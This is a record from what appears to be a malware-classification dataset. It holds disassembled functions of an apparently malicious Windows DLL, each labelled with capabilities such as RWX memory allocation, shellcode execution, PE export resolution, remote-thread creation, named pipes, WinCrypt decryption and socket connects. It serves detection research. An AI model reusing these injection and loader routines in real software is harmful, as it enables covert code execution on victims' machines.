joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100048ca
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
mov edi, dword [ebp + 8]
push 0x40
push 0x3000
mov eax, dword [edi + 0x108]
mov esi, dword [eax + 0x3c]
add esi, eax
push dword [esi + 0x50]
push dword [esi + 0x34]
call ebx
mov dword [edi + 0x10c], eax
test eax, eax
jne 0x10004911
push 0x40
push 0x3000
push dword [esi + 0x50]
push eax
call ebx
mov dword [edi + 0x10c], eax
mov eax, dword [esi + 0x50]
push str.NtLockVirtualMemory
push 0x1002842c
mov dword [edi + 0x110], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10004952
mov ecx, dword [edi + 0x10c]
mov dword [ebp - 4], ecx
mov ecx, dword [esi + 0x50]
mov dword [ebp + 8], ecx
lea ecx, [ebp + 8]
push 1
push ecx
lea ecx, [ebp - 4]
push ecx
push 0xffffffffffffffff
call eax
push 0
push dword [esi + 0x54]
push dword [edi + 0x108]
push dword [edi + 0x10c]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
and dword [ebp + 8], 0
xor ecx, ecx
movzx eax, word [esi + 0x14]
cmp cx, word [esi + 6]
jae 0x100049b2
lea ebx, [esi + 0x2c]
add ebx, eax
mov eax, dword [ebx]
add eax, dword [edi + 0x108]
push 0
push dword [ebx - 4]
push eax
mov eax, dword [ebx - 8]
add eax, dword [edi + 0x10c]
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp + 8]
lea ebx, [ebx + 0x28]
movzx eax, word [esi + 6]
inc ecx
mov dword [ebp + 8], ecx
cmp ecx, eax
jl 0x10004980
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10004d3c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0x18
push 0x10025490
call fcn.1000feb0
xor esi, esi
mov edi, dword [ebp + 8]
test edi, edi
jne 0x10004d58
xor eax, eax
jmp 0x10004dec
mov dword [ebp - 4], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov eax, dword [edi + 0x3c]
mov ebx, dword [eax + edi + 0x78]
add ebx, edi
mov eax, dword [ebx + 0x1c]
add eax, edi
mov dword [ebp + 8], eax
mov edx, dword [ebx + 0x20]
add edx, edi
mov dword [ebp - 0x20], edx
mov ecx, dword [ebx + 0x24]
add ecx, edi
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0xc]
test ecx, 0xffff0000
jne 0x10004d95
movzx eax, cx
sub eax, dword [ebx + 0x10]
jmp 0x10004dbc
mov ebx, dword [ebx + 0x18]
mov dword [ebp - 0x28], ebx
mov eax, ebx
dec ebx
mov dword [ebp - 0x28], ebx
test eax, eax
je 0x10004de6
mov eax, dword [edx]
add eax, edi
push ecx
push eax
call fcn.10010950
pop ecx
pop ecx
test eax, eax
mov eax, dword [ebp - 0x1c]
jne 0x10004dc6
movzx eax, word [eax]
mov esi, dword [ebp + 8]
mov esi, dword [esi + eax*4]
add esi, edi
jmp 0x10004de3
mov edx, dword [ebp - 0x20]
add edx, 4
mov dword [ebp - 0x20], edx
add eax, 2
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp + 0xc]
jmp 0x10004d9b
mov dword [ebp - 0x24], esi
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.1000feeb
ret 8
Function at 0x10004df4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
mov edx, 0x10b
push edi
mov eax, dword [esi + 0x3c]
add eax, esi
movzx ecx, word [eax + 0x18]
cmp cx, dx
jne 0x10004e19
xor edi, edi
add eax, 0x78
jmp 0x10004e2f
mov edx, 0x20b
cmp cx, dx
jne 0x10004ec2
xor edi, edi
inc edi
add eax, 0x88
push edi
push esi
push dword [eax]
call fcn.10005662
push edi
push esi
lea ebx, [esi + eax]
push dword [ebx + 0x20]
call fcn.10005662
push edi
push esi
push dword [ebx + 0x24]
add eax, esi
mov dword [ebp + 8], eax
call fcn.10005662
add eax, esi
add esp, 0x24
test dword [ebp + 0xc], 0xffff0000
mov dword [ebp - 4], eax
jne 0x10004e8c
push edi
push esi
push edi
push esi
push dword [ebx + 0x1c]
call fcn.10005662
mov ecx, dword [ebp + 0xc]
add esp, 0xc
movzx ecx, cx
sub ecx, dword [ebx + 0x10]
add eax, esi
push dword [eax + ecx*4]
call fcn.10005662
add esp, 0xc
jmp 0x10004ec4
mov eax, dword [ebx + 0x18]
jmp 0x10004ebe
dec eax
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push edi
push esi
push dword [eax]
call fcn.10005662
push dword [ebp + 0xc]
add eax, esi
push eax
call fcn.100128b0
add esp, 0x14
test eax, eax
jne 0x10004ecb
add dword [ebp + 8], 4
add dword [ebp - 4], 2
mov eax, dword [ebp - 8]
test eax, eax
jne 0x10004e91
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
push esi
push edi
push esi
push dword [ebx + 0x1c]
call fcn.10005662
mov ecx, dword [ebp - 4]
add esp, 0xc
movzx ecx, word [ecx]
jmp 0x10004e7d

Function at 0x10004ee2
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push 0x14
push 0x10025480
call fcn.1000feb0
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], eax
mov esi, dword [ebp + 8]
test esi, esi
je 0x10004f74
cmp dword [ebp + 0xc], eax
je 0x10004f74
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push esi
call fcn.10004df4
pop ecx
pop ecx
test eax, eax
je 0x10004f5c
add eax, esi
mov dword [ebp + 8], eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10004f5c
call dword [ebp + 8]
test eax, eax
je 0x10004f4b
lea ecx, [ebp - 0x1c]
push ecx
push 6
push 0
call eax
neg eax
sbb eax, eax
and eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
jmp 0x10004f76
xor eax, eax
call fcn.1000feeb
ret 0xc

Function at 0x100050b9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
cmp dword [ebp + 0x10], ecx
jbe 0x100050dc
mov edx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
mov eax, ecx
and eax, 3
mov al, byte [eax + esi]
xor byte [ecx + edx], al
inc ecx
cmp ecx, dword [ebp + 0x10]
jb 0x100050ca
pop esi
pop ebp
ret
Function at 0x1000579e
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x14]
push ebx
mov ebx, dword [ebp + 0x10]
add eax, 0xfffffffc
push esi
push edi
push eax
lea eax, [ebx + 4]
xor esi, esi
push eax
push ebx
mov dword [ebp - 4], esi
call fcn.100050b9
push 0x34
push 1
call fcn.10010021
mov edi, eax
add esp, 0x14
test edi, edi
jne 0x100057d8
push 8
pop esi
jmp 0x100058f8
push dword [ebx + 0x14]
call dword [sym.imp.WS2_32.dll_ntohl]
mov ecx, dword [ebp + 8]
mov ecx, dword [ecx + 0x58]
test ecx, ecx
je 0x100058a3
cmp dword [ecx + 0xc], esi
je 0x100058a3
test eax, eax
je 0x100058a3
push dword [ebx + 0x18]
call dword [sym.imp.WS2_32.dll_ntohl]
sub eax, 0x18
mov dword [ebp + 0x14], eax
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 8]
push esi
push esi
mov eax, dword [eax + 0x58]
push dword [eax + 4]
call dword [sym.imp.ADVAPI32.dll_CryptDuplicateKey]
test eax, eax
jne 0x10005835
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x100058ed
push esi
lea eax, [ebp + 0x10]
mov dword [ebp + 0x10], 1
push eax
push 4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x10005828
push esi
lea eax, [ebx + 0x20]
push eax
push 1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x10005828
lea eax, [ebp + 0x14]
push eax
lea eax, [ebx + 0x30]
push eax
push esi
push 1
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x10005828
push dword [ebp + 0x14]
lea eax, [ebx + 0x30]
push eax
push dword [ebp + 0x14]
lea eax, [ebx + 0x20]
push eax
call fcn.10012c07
mov eax, dword [ebp + 0x14]
add esp, 0x10
add eax, 8
push eax
call dword [sym.imp.WS2_32.dll_htonl]
mov dword [ebx + 0x18], eax
mov eax, dword [ebx + 0x18]
mov dword [edi + 0x18], eax
mov eax, dword [ebx + 0x1c]
push dword [edi + 0x18]
mov dword [edi + 0x1c], eax
call dword [sym.imp.WS2_32.dll_ntohl]
add eax, 0xfffffff8
push eax
mov dword [ebp + 0x14], eax
mov dword [edi + 0x24], eax
call fcn.1000f7c0
mov edx, eax
mov dword [edi + 0x20], edx
pop ecx
test edx, edx
jne 0x100058d6
push 8
pop esi
jmp 0x100058f1
mov ecx, dword [ebp + 0x14]
lea eax, [ebx + 0x20]
push ecx
push eax
push ecx
push edx
call fcn.10012b88
mov eax, dword [ebp + 0xc]
add esp, 0x10
mov dword [eax], edi
test esi, esi
je 0x100058f8
push edi
call fcn.100036df
pop ecx
cmp dword [ebp - 4], 0
je 0x10005907
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10005cd1
Capabilities:
Create new key via cryptacquirecontext
Encrypt or decrypt via wincrypt
Import public key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
push esi
mov esi, ebx
mov dword [ebp - 0xc], ebx
push edi
mov edi, ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
cmp dword [ebp + 8], ebx
je 0x10005e0f
cmp dword [ebp + 0xc], ebx
je 0x10005e0f
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ebx
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push 0x8000
push dword [ebp + 0xc]
push dword [ebp + 8]
push 8
push 1
call dword [sym.imp.CRYPT32.dll_CryptDecodeObjectEx]
test eax, eax
jne 0x10005d2d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x10005e14
push 0xf0000000
push 1
push 0x10028810
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
lea eax, [ebp - 8]
push eax
call ebx
test eax, eax
jne 0x10005d5e
push 8
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push eax
lea eax, [ebp - 8]
push eax
call ebx
test eax, eax
je 0x10005d20
lea eax, [ebp - 4]
push eax
push dword [ebp - 0xc]
push 1
push dword [ebp - 8]
call dword [sym.imp.CRYPT32.dll_CryptImportPublicKeyInfo]
test eax, eax
je 0x10005d20
mov eax, dword [ebp + 0x14]
mov ebx, dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
push eax
mov dword [ebp + 8], eax
lea eax, [ebp + 8]
push eax
xor eax, eax
push eax
push eax
push 1
push eax
push dword [ebp - 4]
call ebx
push dword [ebp + 8]
push 1
call fcn.10010021
mov edi, eax
pop ecx
pop ecx
test edi, edi
jne 0x10005da8
push 0xe
pop esi
jmp 0x10005e23
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 8]
push edi
call fcn.10012b88
add esp, 0x10
lea eax, [ebp + 0x14]
push dword [ebp + 8]
push eax
push edi
push 0
push 1
push 0
push dword [ebp - 4]
call ebx
test eax, eax
je 0x10005d20
mov edx, dword [ebp + 8]
xor ebx, ebx
test edx, 0xfffffffe
jbe 0x10005e03
mov cl, byte [ebx + edi]
sub edx, ebx
mov al, byte [edx + edi - 1]
mov byte [ebx + edi], al
mov eax, dword [ebp + 8]
sub eax, ebx
inc ebx
mov byte [eax + edi - 1], cl
mov edx, dword [ebp + 8]
mov eax, edx
shr eax, 1
cmp ebx, eax
jb 0x10005de2
mov eax, dword [ebp + 0x18]
mov dword [eax], edi
mov eax, dword [ebp + 0x1c]
mov dword [eax], edx
jmp 0x10005e14
mov esi, 0xa0
test esi, esi
je 0x10005e23
test edi, edi
je 0x10005e23
push edi
call fcn.1000f788
pop ecx
cmp dword [ebp - 0xc], 0
je 0x10005e32
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 4], 0
je 0x10005e41
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
cmp dword [ebp - 8], 0
je 0x10005e52
push 0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000678e
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor esi, esi
push esi
push 0x80
push 1
push esi
push esi
push 0x40000000
push dword [ebp + 8]
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x100067c6
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x100067fb
push edi
mov edi, dword [ebp + 0x10]
test edi, edi
je 0x100067f3
mov eax, esi
add eax, dword [ebp + 0xc]
lea ecx, [ebp - 4]
push esi
push ecx
push edi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x100067f3
mov eax, dword [ebp - 8]
add eax, dword [ebp - 4]
mov dword [ebp - 8], eax
sub edi, dword [ebp - 4]
jne 0x100067d0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10006862
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0x1c], 0
push ebx
push esi
mov esi, dword [ebp + 0x18]
push edi
lea edi, [ebp - 4]
cmovne edi, dword [ebp + 0x1c]
xor ebx, ebx
push edi
push esi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 8
jne 0x1000691b
mov eax, dword [0x1002aa58]
mov dword [ebp + 0x1c], ebx
cmp dword [0x1002aa5c], ebx
jne 0x100068d6
test eax, eax
jne 0x100068cc
push str.RtlCreateUserThread
push str.ntdll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1002aa58], eax
mov dword [0x1002aa5c], 1
test eax, eax
je 0x10006913
push ebx
lea ecx, [ebp + 0x1c]
shr esi, 2
push ecx
push dword [ebp + 0x14]
and esi, 1
push dword [ebp + 0x10]
push ebx
push ebx
push ebx
push esi
push ebx
push dword [ebp + 8]
call eax
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
jne 0x1000691b
test edi, edi
je 0x1000691b
push dword [ebp + 0x1c]
call dword [sym.imp.KERNEL32.dll_GetThreadId]
mov dword [edi], eax
jmp 0x1000691b
push 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp + 0x1c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100071ae
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
mov ebx, esi
push dword [edi + 0x10194]
call fcn.1000a109
pop ecx
cmp dword [ebp + 0x10], ebx
jbe 0x10007218
lea eax, [edi + 0x14]
push eax
mov eax, dword [ebp + 0x10]
push esi
sub eax, ebx
mov dword [ebp + 8], esi
push eax
push dword [ebp + 0xc]
push dword [edi + 0x170]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 1
lea eax, [ebp + 8]
push eax
lea eax, [edi + 0x14]
push eax
push dword [edi + 0x170]
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
je 0x10007210
add ebx, dword [ebp + 8]
lea eax, [edi + 0x14]
cmp ebx, dword [ebp + 0x10]
jb 0x100071cf
jmp 0x10007218
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push dword [edi + 0x10194]
call fcn.1000a11f
pop ecx
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret

Function at 0x1000779c
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 4]
push ebx
push esi
push edi
push eax
push 1
push 0x10028fd4
xor esi, esi
call fcn.1000770b
mov edi, dword [ebp + 8]
add esp, 0xc
mov ebx, dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
test eax, eax
jne 0x10007814
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
call fcn.10007604
pop ecx
lea eax, [ebp - 0x10]
push eax
push esi
mov eax, 0x10000
push eax
push eax
push 0xff
push esi
push 0x40000003
lea eax, [edi + 0x28]
push eax
call ebx
mov dword [edi + 0x170], eax
cmp dword [ebp - 4], esi
jne 0x10007814
lea eax, [ebp - 4]
push eax
push esi
push 0x10028ffc
call fcn.1000770b
add esp, 0xc
cmp dword [edi + 0x170], 0xffffffff
jne 0x1000784f
push esi
push esi
push 0x10000
push 0x10000
push 0xff
push esi
push 0x40000003
lea eax, [edi + 0x28]
push eax
call ebx
mov dword [edi + 0x170], eax
cmp eax, 0xffffffff
jne 0x1000784f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x10007889
mov ebx, dword [sym.imp.KERNEL32.dll_CreateEventW]
push esi
push 1
push 1
push esi
call ebx
mov dword [edi + 0x10], eax
test eax, eax
je 0x10007845
push esi
push esi
push 1
push esi
call ebx
mov dword [edi + 0x24], eax
test eax, eax
je 0x10007845
push 0x10007142
push 0x10006e7e
push esi
push edi
push dword [edi + 0x10]
call fcn.10006a0f
add esp, 0x14
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007ef9
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
mov edi, dword [ebp + 0x14]
xor esi, esi
mov dword [ebp - 4], esi
mov dword [edi], esi
test ebx, ebx
je 0x10007f53
mov edx, 0x10000
mov eax, ebx
sub eax, dword [edi]
cmp eax, edx
push esi
cmova eax, edx
lea edx, [ebp - 4]
push edx
push eax
mov eax, dword [ebp + 0xc]
add eax, dword [edi]
push eax
mov eax, dword [ebp + 8]
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10007f4b
mov eax, dword [ebp - 4]
mov edx, 0x10000
add dword [edi], eax
cmp dword [edi], ebx
jb 0x10007f16
jmp 0x10007f53
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007f5c
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
xor eax, eax
mov byte [ebp - 0x2c], 0
push 7
pop ecx
lea edi, [ebp - 0x2b]
mov dword [ebp - 0xc], 1
rep stosd dword es:[edi], eax
xor esi, esi
xor ebx, ebx
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [ebp + 8]
mov eax, dword [edi + 4]
push dword [edi + 0x14]
mov eax, dword [eax + 0x30]
mov dword [ebp - 8], eax
call fcn.1000a109
xor eax, eax
pop ecx
inc eax
test eax, eax
je 0x10007fde
push 0
lea eax, [ebp - 4]
push eax
push 0x20
pop eax
sub eax, esi
push eax
lea eax, [ebp - 0x2c]
add eax, esi
push eax
mov eax, dword [ebp - 8]
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10007fd1
add esi, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
cmp esi, 0x20
jne 0x10007f99
xor eax, eax
mov dword [ebp - 0xc], eax
jmp 0x10007f99
push 0x490
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x10008022
cmp esi, 0x20
jne 0x10008022
cmp byte [ebp - 0x29], bl
jne 0x10008047
mov edi, dword [ebp - 0x2c]
add edi, 0xffffffe4
push edi
call fcn.1000f7c0
mov esi, eax
lea eax, [ebp - 4]
push eax
push edi
push esi
push dword [ebp - 8]
call fcn.10007ef9
push esi
call fcn.1000f788
add esp, 0x18
cmp edi, dword [ebp - 4]
jne 0x1000801f
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp + 0xc]
and dword [eax], ebx
mov edi, dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test ebx, ebx
je 0x10008035
push ebx
call fcn.1000f788
pop ecx
push dword [edi + 0x14]
call fcn.1000a11f
pop ecx
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x1c
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.100050b9
mov eax, dword [edi + 0x10]
add eax, 0x20
push eax
call fcn.100050de
add esp, 0x10
test eax, eax
je 0x1000807e
push 0x10
lea eax, [ebp - 0x28]
push eax
mov eax, dword [edi + 0x10]
add eax, 0x20
push eax
call fcn.1000f860
add esp, 0xc
push dword [ebp - 0x14]
call dword [sym.imp.WS2_32.dll_ntohl]
lea esi, [eax - 8]
lea eax, [esi + 0x20]
push eax
call fcn.1000f7c0
mov ebx, eax
pop ecx
test ebx, ebx
jne 0x100080a1
push 8
jmp 0x10007fd6
push 0x1c
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.100050b9
push 0x20
lea eax, [ebp - 0x2c]
push eax
push 0x20
push ebx
call fcn.10012b88
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebx + 0x20]
push eax
push dword [ebp - 8]
call fcn.10007ef9
add esp, 0x2c
cmp dword [ebp - 4], esi
je 0x100080dd
push eax
jmp 0x10007fd6
lea eax, [esi + 0x20]
push eax
push ebx
push dword [ebp + 0xc]
push edi
call fcn.1000579e
add esp, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
push ebx
call fcn.1000f788
pop ecx
xor ebx, ebx
jmp 0x10008022
Function at 0x1000828e
Capabilities:
Connect pipe
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 4]
push ebx
push esi
push edi
push eax
push 1
push 0x100290ac
call fcn.1000770b
mov ebx, dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
add esp, 0xc
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
test eax, eax
jne 0x1000830c
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
call fcn.10007604
pop ecx
lea eax, [ebp - 0x10]
push eax
push esi
mov eax, 0x10000
push eax
push eax
push 0xff
push esi
push 3
push dword [ebp + 8]
call ebx
mov esi, eax
call edi
cmp dword [ebp - 4], 0
jne 0x10008305
lea eax, [ebp - 4]
push eax
push 0
push str.SeSecurityPrivilege
call fcn.1000770b
add esp, 0xc
cmp esi, 0xffffffff
jne 0x10008333
xor esi, esi
push esi
push esi
push 0x10000
push 0x10000
push 0xff
push esi
push 3
push dword [ebp + 8]
call ebx
mov esi, eax
call edi
cmp esi, 0xffffffff
jne 0x10008333
or eax, 0xffffffff
jmp 0x10008372
call fcn.10005078
mov ebx, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x10008370
call edi
cmp eax, 0x217
je 0x10008370
push 1
call fcn.10005035
pop ecx
call fcn.10005078
mov ecx, dword [ebp + 0xc]
sub eax, ebx
cmp eax, dword [ecx + 4]
jb 0x1000833a
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000832e
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100086ae
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
call fcn.10005078
mov edi, eax
call fcn.10005078
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_connect]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100086f3
push dword [ebp + 0x18]
call fcn.10005035
pop ecx
call fcn.10005078
sub eax, edi
cmp eax, dword [ebp + 0x14]
jb 0x100086ba
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
mov eax, esi
pop esi
pop ebp
ret